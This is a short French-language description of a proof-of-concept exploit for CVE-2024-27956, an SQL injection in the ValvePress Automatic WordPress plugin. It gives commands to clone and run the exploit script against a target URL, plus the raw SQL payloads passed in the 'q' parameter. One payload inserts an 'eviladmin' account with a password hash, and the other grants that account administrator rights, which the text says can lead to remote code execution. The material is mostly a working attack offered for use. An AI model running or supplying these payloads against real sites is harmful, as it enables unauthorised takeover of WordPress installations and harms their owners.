
Exploit de preuve de concept pour CVE-2024-27956, une injection SQL dans le plugin ValvePress Automatic pour WordPress. Crée un utilisateur administrateur et permet l'exécution de code à distance via une entrée non assainie.
Un PoC pour CVE-2024-27956, une injection SQL dans le plugin ValvePress Automatic. Ce PoC exploite la vulnérabilité en créant un utilisateur sur la cible et en lui donnant des droits d'administrateur. Être administrateur dans WordPress peut conduire à une exécution de code à distance.
git clone https://github.com/diego-tella/CVE-2024-27956-RCE/
cd CVE-2024-27956-RCE
python exploit.py http://target.com
q=INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_status, display_name) VALUES ('eviladmin', '$P$BASbMqW0nlZRux/2IhCw7AdvoNI4VT0', 'eviladmin', '[email protected]', 'http://127.0.0.1:8000', '2024-04-30 16:26:43', 0, 'eviladmin')
Attribution des droits d'administration :
q=INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES ((SELECT ID FROM wp_users WHERE user_login = 'eviladmin'), 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}
Dans le paramètre q, on peut passer notre requête entière et elle sera ensuite exécutée.
L'entrée utilisateur est exécutée directement sans aucune restriction ni nettoyage.